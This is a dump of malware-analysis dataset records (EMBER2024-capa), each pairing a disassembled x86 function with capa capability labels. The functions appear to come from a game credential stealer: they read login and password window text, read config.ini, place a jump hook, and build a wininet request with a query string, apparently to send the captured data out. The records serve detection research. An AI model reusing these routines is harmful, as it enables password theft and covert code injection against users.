joyce8/EMBER2024-capa huggingface dataset:
Function at 0x20001b11
Capabilities:
Contain obfuscated stackstrings
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
nop
nop
nop
nop
mov edi, edi
mov edi, edi
mov esi, dword [sym.imp.USER32.dll_FindWindowExA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
mov dword [ebp - 0x1c], 0x45324154
mov dword [ebp - 0x18], 0x746964
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], 0x6d724654
mov dword [ebp - 0x28], 0x4f676f4c
mov dword [ebp - 0x24], 0x6e
mov dword [ebp - 0x20], ebx
lea eax, [ebp - 0x2c]
push ebx
push eax
push ebx
push dword [0x20005200]
call esi
push 0x64
mov dword [ebp - 0xc], eax
call edi
cmp dword [ebp - 0xc], ebx
je 0x20001b59
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
cmp dword [ebp - 4], ebx
je 0x20001b83
cmp dword [ebp - 8], ebx
jne 0x20001ba5
lea eax, [ebp - 0x1c]
push ebx
push eax
push ebx
push dword [ebp - 0xc]
call esi
lea ecx, [ebp - 0x1c]
push ebx
push ecx
push eax
push dword [ebp - 0xc]
mov dword [ebp - 4], eax
call esi
push 0x64
mov dword [ebp - 8], eax
call edi
jmp 0x20001b79
push 0xfffffffffffffff4
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongA]
cmp eax, 0x1109c
jne 0x20001bc2
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
jmp 0x20001bcb
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov esi, dword [sym.imp.USER32.dll_GetWindowTextA]
mov dword [ebp - 8], eax
mov ebx, 0x200051d8
push dword [ebp - 0xc]
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
jne 0x20001c00
push 0x20005254
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x20001c00
push ebx
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
ja 0x20001c1a
push 0x28
push 0x20005254
push dword [ebp - 0x10]
call esi
push 0x28
push ebx
push dword [ebp - 8]
call esi
push 0xa
call edi
jmp 0x20001bd9
pop edi
pop esi
pop ebx
leave
ret

Function at 0x20001c1f
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
nop
nop
nop
nop
mov edi, edi
mov edi, edi
mov edi, dword [sym.imp.MSVCRT.dll_strchr]
mov ebx, 0x100
push ebx
lea eax, [ebp - 0x104]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x104]
push ebx
push eax
push dword [0x20005200]
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x104]
push 0x3a
push eax
call edi
mov esi, eax
push 0x3a
inc esi
push esi
call edi
mov dword [ebp - 4], eax
sub eax, esi
add esp, 0x10
test eax, eax
jg 0x20001c8d
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x20001c3e
push 0x28
mov edi, 0x2000522c
push 0
push edi
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 4]
sub eax, esi
push eax
push esi
push edi
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x18
pop edi
pop esi
pop ebx
leave
ret
Function at 0x20001cf0
Capabilities:
Contain obfuscated stackstrings
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
nop
nop
nop
nop
mov edi, edi
mov edi, edi
mov esi, dword [sym.imp.USER32.dll_FindWindowExA]
xor edi, edi
lea eax, [ebp - 0x20]
push edi
push eax
push edi
push dword [0x20005200]
mov dword [ebp - 0x20], 0x6d724654
mov dword [ebp - 0x1c], 0x73736150
mov dword [ebp - 0x18], 0x637445
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], 0x45324154
mov dword [ebp - 0xc], 0x746964
mov dword [ebp - 8], edi
call esi
mov ebx, eax
lea eax, [ebp - 0x10]
push edi
push eax
push edi
push ebx
call esi
mov esi, dword [sym.imp.USER32.dll_IsWindowVisible]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 4], eax
push ebx
call esi
test eax, eax
jne 0x20001d67
push 0x64
call edi
jmp 0x20001d5a
push ebx
call esi
test eax, eax
je 0x20001d84
push 0x28
push 0x2000515c
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0x64
call edi
jmp 0x20001d67
call fcn.2000193a
pop edi
pop esi
pop ebx
leave
ret

Function at 0x20001e63
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push edi
nop
nop
nop
nop
mov edi, edi
mov edi, edi
and dword [ebp - 4], 0
push 0x20005010
mov dword [ebp - 0x1c], 0x623f7325
mov dword [ebp - 0x18], 0x2673253d
mov dword [ebp - 0x14], 0x73253d63
mov dword [ebp - 0x10], 0x253d6526
mov dword [ebp - 0xc], 0x6b712673
mov dword [ebp - 8], 0x313d
call fcn.200038a8
push eax
lea eax, [ebp - 0x21c]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0xc
lea eax, [ebp - 0x21c]
test eax, eax
pop edi
je 0x20001f2c
lea eax, [ebp - 0x21c]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x20001f2c
push 0x2000664c
push 0x200052ec
lea eax, [ebp - 0x21c]
push 0x200052b8
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x21c]
push eax
call fcn.20003113
add esp, 0x1c
test eax, eax
je 0x20001f2c
cmp byte [eax], 0x31
push eax
jne 0x20001f25
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
push 1
pop eax
leave
ret
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
xor eax, eax
leave
ret
Function at 0x200024dd
Capabilities:
Contain obfuscated stackstrings
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push esi
push edi
nop
nop
nop
nop
mov edi, edi
mov edi, edi
xor eax, eax
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x3c]
mov edi, 0x20005018
push eax
push 0x28
push 0x200052b8
lea eax, [ebp - 0x14]
push edi
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0x6f747541
push eax
mov dword [ebp - 0x20], 0x61647055
mov dword [ebp - 0x1c], 0x6574
mov dword [ebp - 0x14], 0x756f7247
mov dword [ebp - 0x10], 0x70
mov dword [ebp - 8], 0x656e6f5a
mov dword [ebp - 0x3c], 0x61645c2e
mov dword [ebp - 0x38], 0x635c6174
mov dword [ebp - 0x34], 0x69666e6f
mov dword [ebp - 0x30], 0x6e692e67
mov dword [ebp - 0x2c], 0x69
call esi
lea eax, [ebp - 0x3c]
push eax
push 0x28
push 0x200052ec
lea eax, [ebp - 8]
push edi
push eax
lea eax, [ebp - 0x24]
push eax
call esi
pop edi
pop esi
leave
ret

Function at 0x20002583
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
xor eax, eax
push ebx
cmp dword [0x20006aac], eax
lea ecx, [ebp - 0x14]
push esi
push edi
mov dword [ebp - 0x14], 0x73736150
mov dword [ebp - 0x10], 0x64726f77
mov dword [ebp - 0xc], 0x74696445
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
je 0x2000261c
cmp dword [0x20006640], eax
je 0x2000261c
pushal
pushfd
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 4]
push eax
mov eax, dword [0x20006aac]
call eax
mov dword [0x20006518], eax
popfd
popal
mov eax, dword [0x20006518]
test eax, eax
je 0x2000261c
mov ecx, dword [0x20006640]
test ecx, ecx
je 0x2000261c
add eax, 0x2c4
push eax
lea eax, [ebp - 0x3c]
push eax
push 0x20006548
call ecx
lea eax, [ebp - 0x3c]
push 0x3a
push eax
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 0x14
test eax, eax
je 0x2000261c
inc eax
push 0x28
push eax
push 0x20006458
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x20002665
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
xor esi, esi
push edi
test byte [0x200063a8], 1
mov dword [ebp - 8], 0x656d616e
mov dword [ebp - 4], esi
jne 0x20002692
or byte [0x200063a8], 1
lea eax, [ebp - 8]
mov dword [0x20006480], eax
test byte [0x200063a8], 2
mov dword [ebp - 0x14], 0x6576656c
mov dword [ebp - 0x10], 0x6c
mov dword [ebp - 0xc], esi
jne 0x200026bb
or byte [0x200063a8], 2
lea eax, [ebp - 0x14]
mov dword [0x20006678], eax
mov eax, dword [0x20006570]
cmp eax, esi
je 0x2000271a
push dword [eax + 0xb]
call sub.MSVCRT.dll_abs
pop ecx
mov ecx, dword [0x20006570]
sub ecx, eax
add ecx, 0xf
mov dword [0x20006454], ecx
pushal
pushfd
mov ecx, dword [ebp + 8]
mov eax, dword [0x20005020]
push eax
mov eax, dword [0x20006480]
push eax
mov eax, dword [0x20006454]
call eax
mov dword [0x20005020], eax
mov ecx, dword [ebp + 8]
mov eax, dword [0x20005024]
push eax
mov eax, dword [0x20006678]
push eax
mov eax, dword [0x20006454]
call eax
mov dword [0x20005024], eax
popfd
popal
xor esi, esi
push dword [0x20005020]
push 0x2000651c
call sub.MSVCRT.dll_strcpy
push dword [0x20005024]
push 0x200064b8
call sub.MSVCRT.dll_strcpy
add esp, 0x10
call fcn.20002759
push esi
push esi
push esi
push 0x2000286d
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x20002759
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push eax
push 0x2000276c
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x2000289e
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
xor esi, esi
push edi
test byte [0x20005314], 1
mov dword [ebp - 0xc], 0x68736163
mov dword [ebp - 8], esi
jne 0x200028cb
or byte [0x20005314], 1
lea eax, [ebp - 0xc]
mov dword [0x20006484], eax
test byte [0x20005314], 2
mov dword [ebp - 0x2c], 0x646c6f67
mov dword [ebp - 0x28], 0x696f635f
mov dword [ebp - 0x24], 0x6e
mov dword [ebp - 0x20], esi
jne 0x200028fb
or byte [0x20005314], 2
lea eax, [ebp - 0x2c]
mov dword [0x20006544], eax
test byte [0x20005314], 4
mov dword [ebp - 0x1c], 0x766c6973
mov dword [ebp - 0x18], 0x635f7265
mov dword [ebp - 0x14], 0x6e696f
mov dword [ebp - 0x10], esi
jne 0x2000292b
or byte [0x20005314], 4
lea eax, [ebp - 0x1c]
mov dword [0x2000663c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [0x200052ac], esi
mov dword [ebp - 4], eax
jne 0x200029c0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 4]
cmp eax, 0x493e0
ja 0x200029c0
cmp dword [0x20006648], esi
je 0x2000299a
pushal
pushfd
mov ebx, dword [0x20006484]
push ebx
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
call eax
mov dword [0x200052ac], eax
mov ebx, dword [0x20006544]
push ebx
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
call eax
mov dword [0x200063a0], eax
mov ebx, dword [0x2000663c]
push ebx
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
call eax
mov dword [0x20005318], eax
popfd
popal
xor esi, esi
mov ecx, dword [0x200063a0]
mov eax, dword [0x200052ac]
mov dword [0x200052e0], ecx
mov ecx, dword [0x20005318]
cmp eax, esi
mov dword [0x200052a4], eax
mov dword [0x20006574], ecx
je 0x20002940
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x20002a20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
mov esi, 0x2000531c
xor ebx, ebx
mov eax, esi
push edi
test eax, eax
mov dword [ebp - 0x1c], 0x6b6c6154
mov dword [ebp - 0x18], 0x756e654d
mov dword [ebp - 0x14], 0x676c44
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x34], 0x696c6e4f
mov dword [ebp - 0x30], 0x614d656e
mov dword [ebp - 0x2c], 0x74656b72
mov dword [ebp - 0x28], 0x63616c70
mov dword [ebp - 0x24], 0x676c4465
mov dword [ebp - 0x20], ebx
je 0x20002b28
lea eax, [ebp - 0x1c]
mov byte [ebp - 0xc], 0xc3
push eax
push esi
mov byte [ebp - 0xb], 0xdc
mov byte [ebp - 0xa], 0xc2
mov byte [ebp - 9], 0xeb
mov byte [ebp - 8], 0xcb
mov byte [ebp - 7], 0xf8
mov byte [ebp - 6], 0xc3
mov byte [ebp - 5], 0xdc
mov byte [ebp - 4], 0xc2
mov byte [ebp - 3], 0xeb
mov byte [ebp - 2], bl
call sub.MSVCRT.dll_strcmp
pop ecx
mov edi, 0x200066ac
test eax, eax
pop ecx
je 0x20002afb
lea eax, [ebp - 0xc]
push eax
push edi
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
jne 0x20002afb
lea eax, [ebp - 0x34]
push eax
push esi
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x20002b28
push 0x400
push ebx
push edi
call sub.MSVCRT.dll_memset
push 0x80
push ebx
push esi
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
push 0x2000667c
jmp 0x20002b1b
push 0x400
push ebx
push edi
call sub.MSVCRT.dll_memset
push 0x80
push ebx
push esi
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
push 0x200064e4
call sub.MSVCRT.dll_strcpy
add esp, 0x20
call fcn.20002759
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x20002e28
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x20004110
push 0x20003a00
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
mov edi, dword [ebp + 0x10]
push edi
mov esi, dword [ebp + 8]
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
lea eax, [edi + 5]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x1c], eax
push edi
push esi
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0x1c]
lea eax, [ecx + edi]
mov byte [eax], 0xe9
mov edx, esi
sub edx, ecx
sub edx, 5
mov dword [eax + 1], edx
mov byte [esi], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [edi - 5]
push eax
push 0x90
lea eax, [esi + 5]
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x20]
push edi
push esi
call ebx
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
jmp 0x20002edd
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x20002f05
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
nop
nop
nop
nop
mov edi, edi
mov edi, edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x20002f4e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
nop
nop
nop
nop
mov edi, edi
mov edi, edi
mov edx, dword [ebp + 8]
xor eax, eax
test edx, edx
pop edi
jne 0x20002f66
pop ebp
ret
cmp word [edx], 0x5a4d
jne 0x20002f7d
mov ecx, dword [edx + 0x3c]
add ecx, edx
cmp dword [ecx], 0x4550
jne 0x20002f7d
mov eax, dword [ecx + 0x50]
pop ebp
ret
Function at 0x20003113
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
push ebx
push esi
push edi
nop
nop
nop
nop
mov edi, edi
mov edi, edi
xor ebx, ebx
cmp dword [0x20006abc], ebx
je 0x2000314d
cmp dword [0x20006ac0], ebx
je 0x2000314d
cmp dword [0x20006ac4], ebx
je 0x2000314d
cmp dword [0x20006ac8], ebx
jne 0x20003211
mov eax, 0x74656e72
mov ecx, 0x65746e49
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x20]
mov edx, 0x6e65704f
push eax
mov dword [ebp - 0x20], 0x696e6977
mov dword [ebp - 0x1c], 0x2e74656e
mov dword [ebp - 0x18], 0x6c6c64
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x6c], 0x736f6c43
mov dword [ebp - 0x68], 0x6e614865
mov dword [ebp - 0x64], 0x656c64
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], 0x41
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], 0x416c7255
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x2c], 0x64616552
mov dword [ebp - 0x28], 0x656c6946
mov dword [ebp - 0x24], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0x74]
push eax
push edi
call esi
mov dword [0x20006abc], eax
lea eax, [ebp - 0x48]
push eax
push edi
call esi
mov dword [0x20006ac0], eax
lea eax, [ebp - 0x5c]
push eax
push edi
call esi
mov dword [0x20006ac4], eax
lea eax, [ebp - 0x34]
push eax
push edi
call esi
mov dword [0x20006ac8], eax
push ebx
push ebx
push ebx
mov esi, 0x200
push ebx
push ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], ebx
xor edi, edi
call dword [0x20006ac0]
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x200032ee
push ebx
push 0x84000000
push ebx
push ebx
push dword [ebp + 8]
push eax
call dword [0x20006ac4]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x200032e5
push esi
call dword [sym.imp.MSVCRT.dll_malloc]
mov dword [ebp + 8], eax
pop ecx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x274]
push esi
push eax
push dword [ebp - 0xc]
call dword [0x20006ac8]
test eax, eax
je 0x200032d3
mov eax, dword [ebp - 4]
cmp eax, ebx
jbe 0x200032cf
add eax, edi
cmp eax, dword [ebp - 8]
jbe 0x2000329b
add dword [ebp - 8], esi
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_realloc]
pop ecx
cmp eax, ebx
pop ecx
je 0x200032cf
mov dword [ebp + 8], eax
push dword [ebp - 4]
lea eax, [ebp - 0x274]
push eax
mov eax, dword [ebp + 8]
add eax, edi
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 4]
add edi, dword [ebp - 4]
push eax
lea eax, [ebp - 0x274]
push esi
push eax
push dword [ebp - 0xc]
call dword [0x20006ac8]
test eax, eax
jne 0x20003275
cmp edi, ebx
ja 0x200032df
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
jmp 0x200032e5
mov eax, dword [ebp + 8]
mov byte [eax + edi], bl
push dword [ebp - 0xc]
call dword [0x20006abc]
push dword [ebp - 0x10]
call dword [0x20006abc]
xor eax, eax
cmp eax, edi
pop edi
sbb eax, eax
pop esi
and eax, dword [ebp + 8]
pop ebx
leave
ret
Function at 0x20003305
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
nop
nop
nop
nop
mov edi, edi
mov edi, edi
mov eax, dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, 0x104
mov dword [0x20006acc], eax
push ebx
push 0x20006adc
push 0
call esi
cmp dword [ebp + 0xc], 0
je 0x200033d6
cmp dword [ebp + 0xc], 1
jne 0x200033d6
nop
nop
nop
nop
mov edi, edi
mov edi, edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
nop
nop
nop
nop
mov edi, edi
mov edi, edi
lea eax, [ebp - 0x104]
push ebx
push eax
push dword [0x20006acc]
call esi
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
nop
nop
nop
nop
mov edi, edi
mov edi, edi
lea eax, [ebp + 0xc]
push eax
mov eax, dword [0x20006acc]
push 4
add eax, 0x30
push 4
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x20006acc]
mov dword [eax + 0x30], 0x200033e0
cmp dword [0x20005038], 0
je 0x200033d6
mov eax, 0x20005038
mov edi, eax
mov esi, eax
push 0x20006adc
call fcn.20002eec
push eax
call dword [edi]
pop ecx
test eax, eax
pop ecx
jne 0x200033d6
add esi, 4
mov edi, esi
cmp dword [esi], eax
jne 0x200033ba
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x4035ac
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x66c008], 0x8088405
inc edx
mov dword [ebx + 0x66c008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x41cf44
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ebp
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
cld
mov dl, 0x80
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x41cf75
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cf5d
add dl, dl
jne 0x41cf80
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cfd1
xor eax, eax
add dl, dl
jne 0x41cf8d
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41d06e
add dl, dl
jne 0x41cf9c
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cfa7
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cfb2
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cfbd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x41cfc7
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x41cf6c
mov eax, 1
add dl, dl
jne 0x41cfdf
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cfea
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cfd6
sub eax, ebx
mov ebx, 1
jne 0x41d01d
mov ecx, 1
add dl, dl
jne 0x41d003
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41d00e
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cffa
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cf6c
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x41d034
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41d03f
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41d02b
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cf6c
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x41d08f
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x41cf6c
pop ebp
sub edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x41f0a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ebx, edx
xor edx, edx
push ebp
push 0x65058e
push dword fs:[edx]
mov dword fs:[edx], esp
xor edx, edx
mov dword [ebp - 8], edx
mov esi, ebx
xor ecx, ecx
cmp byte [eax + 0x6a], 0
je 0x41f0ef
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x88]
test edx, edx
je 0x41f10e
mov ecx, edx
add ecx, ebx
jmp 0x41f10e
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x78]
test edx, edx
je 0x41f10e
mov ecx, edx
add ecx, ebx
test ecx, ecx
je 0x41f180
mov esi, dword [ecx + 0x18]
mov eax, dword [ecx + 0x1c]
add eax, ebx
mov dword [ebp - 0x10], eax
mov edi, dword [ecx + 0x20]
add edi, ebx
mov eax, dword [ecx + 0x24]
add eax, ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
cmp eax, 0xffff
jbe 0x41f169
test esi, esi
jbe 0x41f180
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp - 4]
call fcn.004088ec
test eax, eax
jne 0x41f15b
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x41f180
add dword [ebp - 0xc], 2
add edi, 4
dec esi
test esi, esi
ja 0x41f138
jmp 0x41f180
mov edx, eax
sub edx, dword [ecx + 0x10]
cmp edx, dword [ecx + 0x14]
jae 0x41f180
mov eax, edx
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x650595
ret